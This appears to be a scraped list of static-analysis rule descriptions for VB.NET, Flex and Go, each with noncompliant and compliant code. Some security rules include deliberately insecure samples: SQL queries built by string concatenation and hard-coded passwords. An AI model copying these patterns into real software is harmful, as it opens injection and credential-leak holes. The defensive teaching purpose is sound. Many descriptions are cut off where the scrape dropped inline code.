Noncompliant Code ExampleWith the default regular expression Interface Foo ' Noncompliant End Interface Compliant SolutionInterface IFoo ' Compliant End Interface |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3603 |
Marking a method with the Noncompliant Code ExampleClass Person Private age As Integer <Pure> ' Noncompliant. In this case the method makes a possibly visible state change Private Sub ConfigureAge(ByVal age As Integer) ... Me.age = age End Sub End Class Compliant SolutionClass Person Private age As Integer Private Sub ConfigureAge(ByVal age As Integer) Me.age = age End Sub End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3449 |
Numbers can be shifted with the Noncompliant Code ExampleDim o As Object = 5 Dim x As Integer = 5 x = o >> 5 ' Noncompliant x = x >> o ' Noncompliant ExceptionsThis rule does not raise when the left or the right expression is x = Nothing >> 5 x = 5 >> Nothing |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2359 |
Prefer the use of Visual Basic .NET and Visual Basic 2005 offer structured exception handling that provides a powerful, more readable alternative to the Noncompliant Code ExampleSub DivideByZero() On Error GoTo nextstep Dim result As Integer Dim num As Integer num = 100 result = num / 0 nextstep: System.Console.WriteLine("Error") End Sub Compliant SolutionSub DivideByZero() Try Dim result As Integer Dim num As Integer num = 100 result = num / 0 Catch System.Console.WriteLine("Error") End Try End Sub |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1821 |
Nested Specifically, you should structure your code to avoid the need for nested Noncompliant Code ExamplePublic Sub Foo(A As Integer, B As Integer) Select Case A Case 0 ' ... Case 1 Select Case B ' Noncompliant; nested Select Case Case 2 ' ... Case 3 ' ... Case 4 ' ... Case Else ' ... End Select Case 2 ' ... Case Else ' ... End Select End Sub Compliant SolutionPublic Sub Foo(A As Integer, B As Integer) Select Case A Case 0 ' ... Case 1 HandleB(B) Case 2 ' ... Case Else ' ... End Select End Sub |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2757 |
The use of operators pairs ( This rule raises an issue when Noncompliant Code ExampleDim target As Integer = -5 Dim num As Integer = 3 target =- num ' Noncompliant; target = -3. Is that really what's meant? target =+ num ' Noncompliant; target = 3 Compliant SolutionDim target As Integer = -5 Dim num As Integer = 3 target = -num ' Compliant; intent to assign inverse value of num is clear target += num |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4818 |
Using sockets is security-sensitive. It has led in the past to the following vulnerabilities: Sockets are vulnerable in multiple ways:
This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleImports System.Net.Sockets Public Class Sockets Public Shared Sub Run() ' Sensitive Dim socket As Socket = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) ' TcpClient And UdpClient simply abstract the details of creating a Socket Dim client As TcpClient = New TcpClient("example.com", 80) ' Sensitive Dim listener As UdpClient = New UdpClient(80) ' Sensitive End Sub End Class See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2077 |
Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities: SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms. This rule flags the execution of SQL queries which are built using formatting of strings, even if there is no injection. This rule does not detect SQL injections. The goal is to guide security code reviews and to prevent a common bad practice. The following specific method signatures are tested:
The following formatting methods will raise an issue:
Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
You can also reduce the impact of an attack by using a database account with low privileges. Sensitive Code ExamplePublic Sub SqlCommands(ByVal connection As SqlConnection, ByVal query As String, ByVal param As String) Dim sensitiveQuery As String = String.Concat(query, param) command = New SqlCommand(sensitiveQuery) ' Sensitive command.CommandText = sensitiveQuery ' Sensitive Dim adapter As SqlDataAdapter adapter = New SqlDataAdapter(sensitiveQuery, connection) ' Sensitive End Sub Public Sub Foo(ByVal context As DbContext, ByVal query As String, ByVal param As String) Dim sensitiveQuery As String = String.Concat(query, param) context.Database.ExecuteSqlCommand(sensitiveQuery) ' Sensitive context.Query(Of User)().FromSql(sensitiveQuery) ' Sensitive End Sub Compliant SolutionPublic Sub Foo(ByVal context As DbContext, ByVal value As String) context.Database.ExecuteSqlCommand("SELECT * FROM mytable WHERE mycol=@p0", value) ' Compliant, the query is parameterized End Sub See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2352 |
Indexed properties are meant to represent access to a logical collection. When multiple parameters are required, this design guideline may be violated, and refactoring the property into a method is preferable. Noncompliant Code ExampleModule Module1 ReadOnly Property Sum(ByVal a As Integer, ByVal b As Integer) ' Noncompliant Get Return a + b End Get End Property End Module Compliant SolutionModule Module1 Function Sum(ByVal a As Integer, ByVal b As Integer) ' Compliant Return a + b End Function End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S122 |
For better readability, do not put more than one statement on a single line. Noncompliant Code ExampleModule Module1 Sub Main() Dim a = 0 : Dim b = 0 ' Noncompliant End Sub End Module Compliant SolutionModule Module1 Sub Main() Dim a = 0 ' Compliant Dim b = 0 ' Compliant End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4136 |
For clarity, all overloads of the same method should be grouped together. That lets both users and maintainers quickly understand all the current available options. Noncompliant Code ExampleInterface IMyInterface Function DoTheThing() As Integer Function DoTheOtherThing() As String // Noncompliant Function DoTheThing(ByVal Path As String) As Integer End Interface Compliant SolutionInterface IMyInterface Function DoTheThing() As Integer Function DoTheThing(ByVal Path As String) As Integer Function DoTheOtherThing() As String End Interface ExceptionsAs it is common practice to group method declarations by implemented interface, no issue will be raised for interface implementations if grouped together with other members of that interface. As it is also a common practice to group method declarations by accessibility level, no issue will be raised for method overloads having different access modifiers. Example: Class MyClass Private Sub DoTheThing(s As String) ' Ok - this method is declared as Private while the other one is Public ' ... End Sub Private Sub DoTheOtherThing(s As String) ' ... End Sub Public Sub DoTheThing() ' ... End Sub End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2354 |
To improve the code readability, the explicit line continuation character, Noncompliant Code ExampleModule Module1 Sub Main() ' Noncompliant Console.WriteLine("Hello" _ & "world") End Sub End Module Compliant SolutionModule Module1 Sub Main() Console.WriteLine("Hello" & "world") End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2353 |
In most cases, indexed properties should be named Item for consistency. Exceptions are when there exists a name which is obviously better, for
example Noncompliant Code ExampleModule Module1 Dim array = {"apple", "banana", "orange", "strawberry"} ReadOnly Property Foo(ByVal index As Integer) ' Noncompliant Get Return array(index) End Get End Property End Module Compliant SolutionModule Module1 Dim array = {"apple", "banana", "orange", "strawberry"} ReadOnly Property Item(ByVal index As Integer) Get Return array(index) End Get End Property End Module DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1541 |
The cyclomatic complexity of a function, procedure or property should not exceed a defined threshold. Complex code can perform poorly and will in any case be difficult to understand and therefore to maintain. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1145 |
There are three possible causes for the presence of such code:
In any of these cases, unconditional Noncompliant Code ExampleIf True Then ' Noncompliant DoSomething() End If If False Then ' Noncompliant DoSomethingElse() End If Compliant SolutionDoSomething(); ' ... See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2355 |
Array literals are more compact than array creation expressions. Noncompliant Code ExampleModule Module1 Sub Main() Dim foo = New String() {"a", "b", "c"} ' Noncompliant End Sub End Module Compliant SolutionModule Module1 Sub Main() Dim foo = {"a", "b", "c"} ' Compliant End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1542 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all subroutine and function names match a provided regular expression. The default configuration is the one recommended by Microsoft:
Noncompliant Code ExampleWith the default regular expression Module Module1 Sub bad_subroutine() ' Noncompliant End Sub Public Function Bad_Function() As Integer ' Noncompliant Return 42 End Function End Module Compliant SolutionModule Module1 Sub GoodSubroutine() ' Compliant End Sub Public Function GoodFunction() As Integer ' Compliant Return 42 End Function End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2234 |
When the names of parameters in a procedure call match the names of the procedure arguments, it contributes to a clearer, more readable code. However, when the names match but are passed in a different order than the method arguments, it indicates a mistake in the parameter order which will likely lead to unexpected results. Noncompliant Code ExamplePublic Function Divide(ByVal divisor As Integer, ByVal dividend As Integer) As Double Return divisor / dividend End Function Public Sub DoTheThing() Dim divisor = 15 Dim dividend = 5 Dim result = Divide(dividend, divisor) ' Noncompliant; operation succeeds, but result is unexpected '... End Sub Compliant SolutionPublic Function Divide(ByVal divisor As Integer, ByVal dividend As Integer) As Double Return divisor / dividend End Function Public Sub DoTheThing() Dim divisor = 15 Dim dividend = 5 Dim result = Divide(divisor, dividend) '... End Sub |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1147 |
Noncompliant Code ExampleModule Module1 Sub Print(ByVal str As String) Try ... End ' Noncompliant Finally ' do something important here ... End Try End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2358 |
The Noncompliant Code ExampleModule Module1 Sub Main() Dim a = Not "a" Is Nothing ' Noncompliant End Sub End Module Compliant SolutionModule Module1 Sub Main() Dim a = "a" IsNot Nothing ' Compliant End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1301 |
For just one or two cases however, the code will be more readable with Noncompliant Code ExampleSelect Case variable Case 0 doSomething() Case Else doSomethingElse() End Select Compliant SolutionIf variable = 0 Then doSomething() Else doSomethingElse() End If |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1940 |
It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead. Noncompliant Code ExampleIf Not (a = 2) Then // Noncompliant Dim b as Boolean = Not (i < 10) // Noncompliant Compliant SolutionIf a <> 2 Then Dim b as Boolean = i >= 10 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2357 |
Fields should not be part of an API, and therefore should always be private. Indeed, they cannot be added to an interface for instance, and validation cannot be added later on without breaking backward compatibility. Instead, developers should encapsulate their fields into properties. Explicit property getters and setters can be introduced for validation purposes or to smooth the transition to a newer system. Noncompliant Code ExampleClass Foo Public Foo = 42 ' Noncompliant End Class Compliant SolutionClass Foo Public Property Foo = 42 ' Compliant End Class Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S108 |
Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed. Noncompliant Code ExampleFor Index As Integer = 1 To 42 ' Empty on purpose or missing piece of code? Next Compliant SolutionFor Index As Integer = 1 To 42 Process(Index) Next ExceptionsWhen a block contains a comment, this block is not considered to be empty. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S107 |
A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the procedure is doing too many things. Noncompliant Code ExampleWith a maximum number of 3 parameters: Public Sub Foo(ByVal p1 As Integer, ByVal p2 As Integer, ByVal p3 As Integer, ByVal p4 As Integer) ' Noncompliant ' ... End Sub Public Function Bar(ByVal p1 As Integer, ByVal p2 As Integer, ByVal p3 As Integer, ByVal p4 As Integer) ' Noncompliant ' ... End Function Compliant SolutionPublic Sub Foo(ByVal p1 As Integer, ByVal p2 As Integer, ByVal p3 As Integer) ' ... End Sub Public Function Bar(ByVal p1 As Integer, ByVal p2 As Integer, ByVal p3 As Integer) ' ... End Function |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S104 |
A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S105 |
Developers should not need to configure the tab width of their text editors in order to be able to read source code. So the use of the tabulation character must be banned. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S103 |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S907 |
Noncompliant Code ExampleSub GoToStatementDemo() Dim number As Integer = 1 Dim sampleString As String ' Evaluate number and branch to appropriate label. If number = 1 Then GoTo Line1 Else GoTo Line2 Line1: sampleString = "Number equals 1" GoTo LastLine Line2: ' The following statement never gets executed because number = 1. sampleString = "Number equals 2" LastLine: ' Write "Number equals 1" in the Debug window. Debug.WriteLine(sampleString) End Sub Compliant SolutionSub GoToStatementDemo() Dim number As Integer = 1 Dim sampleString As String ' Evaluate number and branch to appropriate label. If number = 1 Then sampleString = "Number equals 1" Else sampleString = "Number equals 2" End If Debug.WriteLine(sampleString) End Sub |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2349 |
"After" and "Before" prefixes or suffixes should not be used to indicate pre and post events. The concepts of before and after should be given to events using the present and past tense. Noncompliant Code ExampleClass Foo Event BeforeClose() ' Noncompliant Event AfterClose() ' Noncompliant End Class Compliant SolutionClass Foo Event Closing() ' Compliant Event Closed() ' Compliant End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2348 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all even names match a provided regular expression. The default configuration is the one recommended by Microsoft:
Noncompliant Code ExampleWith the default regular expression Class Foo Event fooEvent() ' Noncompliant End Class Compliant SolutionClass Foo Event FooEvent() ' Compliant End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1656 |
There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead. Noncompliant Code ExamplePublic Sub SetName(name As String) name = name End Sub Compliant SolutionPublic Sub SetName(name As String) Me.name = name End Sub See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1659 |
Declaring multiple variable on one line is difficult to read. Noncompliant Code ExampleModule Module1 Public Const AAA As Integer = 5, BBB = 42, CCC As String = "foo" ' Noncompliant End Module Compliant SolutionModule Module1 Public Const AAA As Integer = 5 Public Const BBB = 42 Public Const CCC as String = "foo" End Module See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2340 |
A Noncompliant Code ExampleModule Module1 Sub Main() Dim i = 1 Do ' Non-Compliant If i = 10 Then Exit Do End If Console.WriteLine(i) i = i + 1 Loop End Sub End Module Compliant SolutionModule Module1 Sub Main() For i = 1 To 9 ' Compliant Console.WriteLine(i) Next End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S112 |
Throwing such general exceptions as Noncompliant Code ExamplePublic Sub DoSomething(obj As Object) If obj Is Nothing Then ' Noncompliant Throw New NullReferenceException("obj") End If ' ... End Sub Compliant SolutionPublic Sub DoSomething(obj As Object) If obj Is Nothing Then Throw New ArgumentNullException("obj") End If ' ... End Sub See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2068 |
Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source. In the past, it has led to the following vulnerabilities: Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets. This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list. It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ... Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleDim username As String = "admin" Dim password As String = "Password123" ' Sensitive Dim usernamePassword As String = "user=admin&password=Password123" ' Sensitive Dim url As String = "scheme://user:Admin123@domain.com" ' Sensitive Compliant SolutionDim username As String = "admin" Dim password As String = GetEncryptedPassword() Dim usernamePassword As String = String.Format("user={0}&password={1}", GetEncryptedUsername(), GetEncryptedPassword()) Dim url As String = $"scheme://{username}:{password}@domain.com" Dim url2 As String= "http://guest:guest@domain.com" ' Compliant Const Password_Property As String = "custom.password" ' Compliant Exceptions
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2343 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all enumeration value names match a provided regular expression. The default configuration is the one recommended by Microsoft:
Noncompliant Code ExampleWith the default regular expression Enum Foo fooValue ' Noncompliant End Enum Compliant SolutionEnum Foo FooValue ' Compliant End Enum |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2342 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all enum names match a provided regular expression. The default configuration is the one recommended by Microsoft:
Noncompliant Code ExampleWith the default regular expression for non-flags enums: Public Enum foo ' Noncompliant FooValue = 0 End Enum With the default regular expression for flags enums: <Flags()> Public Enum Option ' Noncompliant None = 0, Option1 = 1, Option2 = 2 End Enum Compliant SolutionPublic Enum Foo FooValue = 0 End Enum <Flags()> Public Enum Options None = 0, Option1 = 1, Option2 = 2 End Enum |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code ExampleFunction Divide(ByVal numerator As Integer, ByVal denominator As Integer) As Integer Return numerator / denominator ' FIXME denominator value might be 0 End Function See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2345 |
Flags enumerations should not rely on the language to initialize the values of their members. Implicit initialization will set the first member to 0, and increment the value by one for each subsequent member. This implicit behavior does not allow members to be combined using the bitwise or operator in a useful way. Instead, 0 and powers of two (i.e. 1, 2, 4, 8, 16, ...) should be used to explicitly initialize all the members. Noncompliant Code Example<Flags()> Enum FruitType ' Non-Compliant None Banana Orange Strawberry End Enum Module Module1 Sub Main() Dim bananaAndStrawberry = FruitType.Banana Or FruitType.Strawberry ' Will display only Strawberry! Console.WriteLine(bananaAndStrawberry.ToString()) End Sub End Module Compliant Solution<Flags()> Enum FruitType ' Compliant None = 0 Banana = 1 Orange = 2 Strawberry = 4 End Enum Module Module1 Sub Main() Dim bananaAndStrawberry = FruitType.Banana Or FruitType.Strawberry ' Will display Banana and Strawberry, as expected. Console.WriteLine(bananaAndStrawberry.ToString()) End Sub End Module ExceptionsThe default initialization of 0, 1, 2, 3, 4, ... matches 0, 1, 2, 4, 8 ... in the first three values, so no issue is reported if the first three members of the enumeration is not initialized. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1135 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code ExampleSub DoSomething() ' TODO End Sub See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2344 |
The information that an enumeration type is actually an enumeration or a set of flags should not be duplicated in its name. Noncompliant Code ExampleEnum FooFlags ' Noncompliant Foo = 1 Bar = 2 Baz = 4 End Enum Compliant SolutionEnum Foo ' Compliant Foo = 1 Bar = 2 Baz = 4 End Enum |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2347 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all even handler names match a provided regular expression. The default configuration is:
Event handlers with a Noncompliant Code ExampleWith the default regular expression Module Module1 Sub subject__SomeEvent() Handles X.SomeEvent ' Noncompliant - two underscores End Sub End Module Compliant SolutionModule Module1 Sub subject_SomeEvent() Handles X.SomeEvent ' Compliant End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2346 |
Consistent use of "None" in flags enumerations indicates that all flag values are cleared. The value 0 should not be used to indicate any other
state, since there is no way to check that the bit Noncompliant Code Example<Flags()> Enum FruitType Void = 0 ' Non-Compliant Banana = 1 Orange = 2 Strawberry = 4 End Enum Compliant Solution<Flags()> Enum FruitType None = 0 ' Compliant Banana = 1 Orange = 2 Strawberry = 4 End Enum |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1654 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that all parameter names match a provided regular expression. The default configuration is the one recommended by Microsoft:
Noncompliant Code ExampleWith the default regular expression Module Module1 Sub GetSomething(ByVal ID As Integer) ' Noncompliant End Sub End Module Compliant SolutionModule Module1 Sub GetSomething(ByVal id As Integer) ' Compliant End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-flex:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-flex:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-flex:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-flex:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-flex:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-flex:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-go:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-go:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-go:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-go:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-go:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-go:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S117 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression. Noncompliant Code ExampleWith the default regular expression func doSomething(my_param int) { // Noncompliant var local_ int; // Noncompliant ... } Compliant Solutionfunc doSomething(myParam int) { var local int; ... }{code} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S138 |
A function that grows too large tends to aggregate too many responsibilities. Such functions inevitably become harder to understand and therefore harder to maintain. Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks. Those smaller functions will not only be easier to understand, but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1821 |
Nested Specifically, you should structure your code to avoid the need for nested Noncompliant Code Examplefunc foo(x,y int) { switch x { case 0: switch y { // Noncompliant; nested switch // ... } case 1: // ... default: // ... } } Compliant Solutionfunc foo(x,y int) { switch x { case 0: bar(y) case 1: // ... default: // ... } } func bar(y int) { switch y { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S3923 |
Having all branches in a Noncompliant Code Exampleif b == 0 { // Noncompliant doOneMoreThing() } else { doOneMoreThing() } switch i { // Noncompliant case 1: doSomething() case 2: doSomething() case 3: doSomething() default: doSomething() } ExceptionsThis rule does not apply to if b == 0 { //no issue, this could have been done on purpose to make the code more readable doSomething() } else if b == 1 { doSomething() } |
